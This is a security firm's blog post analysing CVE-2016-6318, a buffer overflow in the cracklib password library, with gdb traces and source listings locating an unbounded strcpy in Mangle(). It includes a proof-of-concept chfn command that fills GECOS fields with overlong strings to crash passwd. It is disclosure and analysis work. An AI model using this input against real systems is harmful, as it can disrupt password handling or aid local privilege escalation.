• Main
  • Services
  • Blog
    • Latest Blog Posts
  • Contact
Computer Security Group, LLC Computer Security Group, LLC
  • Main
  • Services
  • Blog
    • Latest Blog Posts
  • Contact

Analysis of CVE-2016-6318

Home NewsAnalysis of CVE-2016-6318

Analysis of CVE-2016-6318

Aug 18, 2016 | Posted by info@csglabs.com | News, Secure Code, Threat Modeling, Vulnerability Analysis |

Introduction

CSG Labs recently discovered and privately reported to vendors a zero day vulnerability within cracklib, an open source library used by many different Linux distributions to prevent the selection of easy to guess passwords.  This vulnerability itself was present in the source base for quite a long time and demonstrates the need for understanding secure source code auditing, vulnerability analysis and conducting application threat models.

Technical Details

A buffer overflow vulnerability has been discovered in the cracklib password checking library.

By max’ing out the GECOS finger information fields we are able to overflow the cracklib password
checking library. This has large implications to any/all programs that rely on this library
as demonstrated by our proof-of-concept which generates a stack overflow in the passwd (root) utility.

The security risk of the buffer overflow vulnerability is  dependent on the version of Linux. On RedHat 7 this issue is low though may be higher depending on the application and whether glibc or the application has been compiled with FORTIFY_SOURCE (see below).
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of this vulnerability may result in complete system compromise.

Steps to reproduce:

[user@localhost Documents]$ uname -a
Linux localhost.localdomain 3.10.0-327.28.2.el7.x86_64 #1 SMP Mon Jun 27 14:48:28 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux
[user@localhost Documents]$ chfn -f `perl -e 'print "A"x256'` -o `perl -e 'print "B"x256'` -p `perl -e 'print "C"x256'` -h `perl -e 'print "D"x256'`
Changing finger information for user.
Password:
Finger information changed.
 
[user@localhost Documents]$ passwd
Changing password for user user.
Changing password for user.
(current) UNIX password:
New password:
*** buffer overflow detected ***: passwd terminated

[user@localhost Documents]$ uname -a Linux localhost.localdomain 3.10.0-327.28.2.el7.x86_64 #1 SMP Mon Jun 27 14:48:28 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux [user@localhost Documents]$ chfn -f `perl -e 'print "A"x256'` -o `perl -e 'print "B"x256'` -p `perl -e 'print "C"x256'` -h `perl -e 'print "D"x256'` Changing finger information for user. Password: Finger information changed. [user@localhost Documents]$ passwd Changing password for user user. Changing password for user. (current) UNIX password: New password: *** buffer overflow detected ***: passwd terminated

The root cause of the security issue is an unbounded strcpy. We can find the exact problem by examining the call chain.

[user@localhost Documents]$ gdb passwd
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-80.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/passwd...Reading symbols from /usr/lib/debug/usr/bin/passwd.debug...done.
done.
(gdb) r
Starting program: /usr/bin/passwd 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Changing password for user user.
Detaching after fork from child process 35561.
Changing password for user.
(current) UNIX password: 
Detaching after fork from child process 35564.
Detaching after fork from child process 35565.
New password: 
*** buffer overflow detected ***: /usr/bin/passwd terminated
======= Backtrace: =========
...
Program received signal SIGABRT, Aborted.
0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56	  return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig);
 
(gdb) bt
#0  0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007f7017232ce8 in __GI_abort () at abort.c:90
#2  0x00007f7017271327 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7f701737a154 "*** %s ***: %s terminated\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196
#3  0x00007f701730a597 in __GI___fortify_fail (msg=msg@entry=0x7f701737a0fa "buffer overflow detected") at fortify_fail.c:31
#4  0x00007f7017308750 in __GI___chk_fail () at chk_fail.c:28
#5  0x00007f700d77dc5c in strcpy (__src=0x7ffdbd253060 'a' ..., __dest=0x7ffdbd252c00 'a' ...) at /usr/include/bits/string3.h:104
#6  Mangle (input=input@entry=0x7ffdbd2560d0 'a' ..., control=, area=area@entry=0x7ffdbd253060 'a' ...) at rules.c:444
#7  0x00007f700d77bd7b in GTry (rawtext=rawtext@entry=0x7ffdbd2560d0 'a' ..., password=password@entry=0x7ffdbd256de0 "AAAAAAAA") at fascist.c:483
#8  0x00007f700d77c11a in FascistGecosUser (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", user=, gecos=) at fascist.c:602
#9  0x00007f700d77c289 in FascistGecos (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", uid=1000) at fascist.c:690
#10 0x00007f700d77c76d in FascistLookUser (pwp=pwp@entry=0x7f701ae2d6b0, instring=instring@entry=0x7ffdbd257630 "AAAAAAAA", user=user@entry=0x0, gecos=gecos@entry=0x0)
    at fascist.c:790
#11 0x00007f700d77c817 in FascistCheckUser (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=, user=user@entry=0x0, gecos=gecos@entry=0x0) at fascist.c:897
#12 0x00007f700d77c879 in FascistCheck (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=) at fascist.c:910
#13 0x00007f700d984f20 in pwquality_check (pwq=0x7f701ae2d590, password=0x7f701ae2d690 "AAAAAAAA", oldpassword=, user=0x7f701ae143c0 "user", 
    auxerror=auxerror@entry=0x7ffdbd257c60) at check.c:672
#14 0x00007f700db8a4b6 in pam_sm_chauthtok (pamh=0x7f701ae14220, flags=8192, argc=, argv=) at pam_pwquality.c:232
#15 0x00007f7017e2cf6a in _pam_dispatch_aux (use_cached_chain=, resumed=, h=, flags=8192, pamh=0x7f701ae14220) at pam_dispatch.c:110
#16 _pam_dispatch (pamh=pamh@entry=0x7f701ae14220, flags=flags@entry=8192, choice=choice@entry=6) at pam_dispatch.c:426
#17 0x00007f7017e31728 in pam_chauthtok (pamh=0x7f701ae14220, flags=0) at pam_password.c:46
#18 0x00007f7018c0fbf7 in main (argc=, argv=) at passwd.c:537

[user@localhost Documents]$ gdb passwd GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-80.el7 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/bin/passwd...Reading symbols from /usr/lib/debug/usr/bin/passwd.debug...done. done. (gdb) r Starting program: /usr/bin/passwd [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Changing password for user user. Detaching after fork from child process 35561. Changing password for user. (current) UNIX password: Detaching after fork from child process 35564. Detaching after fork from child process 35565. New password: *** buffer overflow detected ***: /usr/bin/passwd terminated ======= Backtrace: ========= ... Program received signal SIGABRT, Aborted. 0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig); (gdb) bt #0 0x00007f70172315f7 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007f7017232ce8 in __GI_abort () at abort.c:90 #2 0x00007f7017271327 in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7f701737a154 "*** %s ***: %s terminated\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196 #3 0x00007f701730a597 in __GI___fortify_fail (msg=msg@entry=0x7f701737a0fa "buffer overflow detected") at fortify_fail.c:31 #4 0x00007f7017308750 in __GI___chk_fail () at chk_fail.c:28 #5 0x00007f700d77dc5c in strcpy (__src=0x7ffdbd253060 'a' ..., __dest=0x7ffdbd252c00 'a' ...) at /usr/include/bits/string3.h:104 #6 Mangle (input=input@entry=0x7ffdbd2560d0 'a' ..., control=, area=area@entry=0x7ffdbd253060 'a' ...) at rules.c:444 #7 0x00007f700d77bd7b in GTry (rawtext=rawtext@entry=0x7ffdbd2560d0 'a' ..., password=password@entry=0x7ffdbd256de0 "AAAAAAAA") at fascist.c:483 #8 0x00007f700d77c11a in FascistGecosUser (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", user=, gecos=) at fascist.c:602 #9 0x00007f700d77c289 in FascistGecos (password=password@entry=0x7ffdbd256de0 "AAAAAAAA", uid=1000) at fascist.c:690 #10 0x00007f700d77c76d in FascistLookUser (pwp=pwp@entry=0x7f701ae2d6b0, instring=instring@entry=0x7ffdbd257630 "AAAAAAAA", user=user@entry=0x0, gecos=gecos@entry=0x0) at fascist.c:790 #11 0x00007f700d77c817 in FascistCheckUser (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=, user=user@entry=0x0, gecos=gecos@entry=0x0) at fascist.c:897 #12 0x00007f700d77c879 in FascistCheck (password=password@entry=0x7f701ae2d690 "AAAAAAAA", path=) at fascist.c:910 #13 0x00007f700d984f20 in pwquality_check (pwq=0x7f701ae2d590, password=0x7f701ae2d690 "AAAAAAAA", oldpassword=, user=0x7f701ae143c0 "user", auxerror=auxerror@entry=0x7ffdbd257c60) at check.c:672 #14 0x00007f700db8a4b6 in pam_sm_chauthtok (pamh=0x7f701ae14220, flags=8192, argc=, argv=) at pam_pwquality.c:232 #15 0x00007f7017e2cf6a in _pam_dispatch_aux (use_cached_chain=, resumed=, h=, flags=8192, pamh=0x7f701ae14220) at pam_dispatch.c:110 #16 _pam_dispatch (pamh=pamh@entry=0x7f701ae14220, flags=flags@entry=8192, choice=choice@entry=6) at pam_dispatch.c:426 #17 0x00007f7017e31728 in pam_chauthtok (pamh=0x7f701ae14220, flags=0) at pam_password.c:46 #18 0x00007f7018c0fbf7 in main (argc=, argv=) at passwd.c:537

The call chain starts with this Mangle() call on line 483 in the file “fascist.c”:

(gdb) list fascist.c:473
453		    continue;
...
480	
481	    for (i = 0; r_constructors[i]; i++)
482	    {
483		if (!(mp = Mangle(rawtext, r_constructors[i], area)))

(gdb) list fascist.c:473 453 continue; ... 480 481 for (i = 0; r_constructors[i]; i++) 482 { 483 if (!(mp = Mangle(rawtext, r_constructors[i], area)))

and the crash happens on line 444 of file “rules.c”:

(gdb) list rules.c:430
410	}
411	/* -------- BACK TO NORMALITY -------- */
...
430	char *
431	Mangle(input, control, area)		/* returns a pointer to a controlled Mangle */
432	    char *input;
433	    char *control;
434	    char *area;
435	{
436	    int limit;
437	    register char *ptr;
438	    char area2[STRINGSIZE];
439	    area[0] = '\0';
440	    strcpy(area, input);
441	
442	    for (ptr = control; *ptr; ptr++)
443	    {
444		strcpy(area2, area);

(gdb) list rules.c:430 410 } 411 /* -------- BACK TO NORMALITY -------- */ ... 430 char * 431 Mangle(input, control, area) /* returns a pointer to a controlled Mangle */ 432 char *input; 433 char *control; 434 char *area; 435 { 436 int limit; 437 register char *ptr; 438 char area2[STRINGSIZE]; 439 area[0] = '\0'; 440 strcpy(area, input); 441 442 for (ptr = control; *ptr; ptr++) 443 { 444 strcpy(area2, area);

An examination of the call chain illustrates the lack of checks from the environment of the application leading to the security vulnerability:

CVE-2016-6318-strcpy

The fix here is to validate the Mangle() strcpy calls to ensure there is enough space for the copy.

References

https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-6318
http://seclists.org/oss-sec/2016/q3/290
https://security-tracker.debian.org/tracker/CVE-2016-6318
http://www.securityfocus.com/bid/92478

1
Share

Recent Comments

Tag Cloud

News

Previous Posts

Recent Tweets

  • Vulnerability in cryptsetup, a utility on Linux distros could allow an attacker to retrieve a root shell.  http://t.co/LzJYCMAcRg 
  • 2 years ago
  • Signing into One Billion Mobile App Accounts Effortlessly with OAuth2.0  http://t.co/t530X3z3Qn 
  • 2 years ago

Follow @CSG_Labs

Find us on

Contact Us

Interested in finding out more about our services? Send us a quick message we'll get back to you!

Send Message

© 2019 — Computer Security Group, LLC Theme by HB-Themes.

  • Main
  • Services
  • Blog
    • Latest Blog Posts
  • Contact
Prev